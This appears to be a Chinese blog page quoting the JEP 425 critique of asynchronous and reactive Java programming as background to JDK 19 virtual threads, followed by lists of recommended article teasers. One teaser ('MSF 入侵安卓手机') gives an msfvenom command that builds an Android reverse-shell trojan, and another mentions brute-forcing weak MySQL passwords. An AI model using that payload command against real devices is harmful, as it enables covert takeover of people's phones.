JDK 19 对反应式编程的批判
我们知道 JDK 19 引入了虚拟线程,实现了 JEP425 草案,https://openjdk.org/jeps/425 该案对反应式编程的批判可谓犀利:
Improving scalability with the asynchronous style
Some developers wishing to utilize hardware to its fullest have given up the thread-per-request style in favor of a thread-sharing style. Instead of handling a request on one thread from start to finish, request-handling code returns its thread to a pool when it waits for an I/O operation to complete so that the thread can service other requests. This fine-grained sharing of threads — in which code holds on to a thread only when it performs calculations, not when it waits for I/O — allows a high number of concurrent operations without consuming a high number of threads. While it removes the limitation on throughput imposed by the scarcity of OS threads, it comes at a high price: It requires what is known as an asynchronous programming style, employing a separate set of I/O methods that do not wait for I/O operations to complete but rather, later on, signal their completion to a callback. Without a dedicated thread, developers must break down their request-handling logic into small stages, typically written as lambda expressions, and then compose them into a sequential pipeline with an API (see CompletableFuture, for example, or so-called "reactive" frameworks). They thus forsake the language's basic sequential composition operators, such as loops and try/catch blocks.In the asynchronous style, each stage of a request might execute on a different thread, and every thread runs stages belonging to different requests in an interleaved fashion. This has deep implications for understanding program behavior: Stack traces provide no usable context, debuggers cannot step through request-handling logic, and profilers cannot associate an operation's cost with its caller. Composing lambda expressions is manageable when using Java's stream API to process data in a short pipeline, but problematic when all of the request-handling code in an application must be written in this way. This programming style is at odds with the Java Platform because the application's unit of concurrency — the asynchronous pipeline — is no longer the platform's unit of concurrency.
在 golang 大行其道时 java 也算与时俱进了,愿 VirtualThread 的性能能不负所望。
JDK 19 对反应式编程的批判的更多相关文章
- Project Reactor 响应式编程
目录 一. 什么是响应式编程? 二. Project Reactor介绍 三. Reactor核心概念 Flux 1. just() 2. fromArray(),fromIterable()和 fr ...
- 07-Spring5 WebFlux响应式编程
SpringWebFlux介绍 简介 SpringWebFlux是Spring5添加的新模块,用于Web开发,功能和SpringMvc类似的,WebFlux使用当前一种比较流行的响应式编程框架 使用传 ...
- Objective-C 链式编程思想
链式编程思想 链式编程是什么 链式编程就是将调用多个方法用点语法连接起来,让代码更加简洁和可读性更高刚开始接触链式编程是Masonry,用起来真的非常爽 1 make.left.right.top.e ...
- 使用ReactiveCocoa实现iOS平台响应式编程
使用ReactiveCocoa实现iOS平台响应式编程 ReactiveCocoa和响应式编程 在说ReactiveCocoa之前,先要介绍一下FRP(Functional Reactive Prog ...
- [转]使用ReactiveCocoa实现iOS平台响应式编程
原文:http://www.itiger.me/?p=38 使用ReactiveCocoa实现iOS平台响应式编程 ReactiveCocoa和响应式编程 在说ReactiveCocoa之前,先要介绍 ...
- springboot2 webflux 响应式编程学习路径
springboot2 已经发布,其中最亮眼的非webflux响应式编程莫属了!响应式的weblfux可以支持高吞吐量,意味着使用相同的资源可以处理更加多的请求,毫无疑问将会成为未来技术的趋势,是必学 ...
- [转]springboot2 webflux 响应式编程学习路径
原文链接 spring官方文档 springboot2 已经发布,其中最亮眼的非webflux响应式编程莫属了!响应式的weblfux可以支持高吞吐量,意味着使用相同的资源可以处理更加多的请求,毫无疑 ...
- 【SpringBoot】SpringBoot2.0响应式编程
========================15.高级篇幅之SpringBoot2.0响应式编程 ================================ 1.SprinBoot2.x响应 ...
- Angular4学习笔记(五)- 数据绑定、响应式编程和管道
概念 Angular中的数据绑定指的是同一组件中控制器文件(.ts)与视图文件(.html)之间的数据传递. 分类 流向 单向绑定 它的意思是要么是ts文件为html文件赋值,要么相反. ts-> ...
- WebFlux基础之响应式编程
上篇文章,我们简单的了解了WebFlux的一些基础与背景,并通过示例来写了一个demo.我们知道WebFlux是响应式的web框架,其特点之一就是可以通过函数式编程方式配置route.另外究竟什么是响 ...
随机推荐
- /proc/sys/vm 使用
这些参数主要是用来调整virtual memory子系统的行为以及数据的写出(从RAM到ROM). 这些节点(参数)的默认值和初始化的过程大部分都可以在mm/swap.c中找到. 目前,/proc/s ...
- MSF 入侵安卓手机
生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...
- Go语言学习 _基础04 _Map&Set
Go语言学习 _基础04 _Map&Set 1.map package map_test import ( "fmt" "testing" ) func ...
- vue项目获取富文本编辑器wangEditor内容导出为word(html转word格式并下载)
一.开发问题 html-doc-js,只能处理简单的富文本导出为word,对于编辑器中部分图文和样式会不生效,而wangEditor默认设置有下图这么多,所以要自己尝试找替代方案去解决html内容. ...
- mysql弱密码爆破
mySQL弱密码 靶场:/vulhub/mysql/CVE-2012-2122 启动: docker-compose up -d 扫描端口 nmap -Sv -Pn -T4 靶机ip 看到在33 ...
- 【2024.09.27】NOIP2024 赛前集训-刷题训练(3)
[2024.09.27]NOIP2024 赛前集训-刷题训练(3) NOIP2018 提高组 铺设道路 算法一:模拟正常人铺路的过程,每次找区间的最小值,最小值就是本次填的高度,由于出现了若干个0位置 ...
- Flink Checkpoint & Savepoint
Flink checkpoint Checkpoint是Flink实现容错机制最核心的功能,能够根据配置周期性地基于Stream中各个Operator的状态来生成Snapshot,从而将这些状态数据定 ...
- register at least one qt version using“qt vs tools“->“qt options“问题描述及解决方法
问题描述:在安装了Qt 5.9.8,vs 2022, QT VS Tool 2022并配置好环境变量之后创建Qt项目时无法创建,提示至少需要注册一个Qt版本到Qt VS Tools的Qt Option ...
- MySQL造数据,批量插入数据脚本
新建表 create table bigdata( name varchar(32), age int(32), createTime datetime); MySQL批量插入数据脚本 #!/bin/ ...
- i-MES生产制造管理系统-可视化看板
可视化看板最主要的目的是为了将生产状况透明化,让大家能够快速了解当前的生产状况以及进度,通过大数据汇总分析,为管理层做决策提供数据支撑,看板数据必须达到以下基本要求: 数据准确--真实反映生产情况 数 ...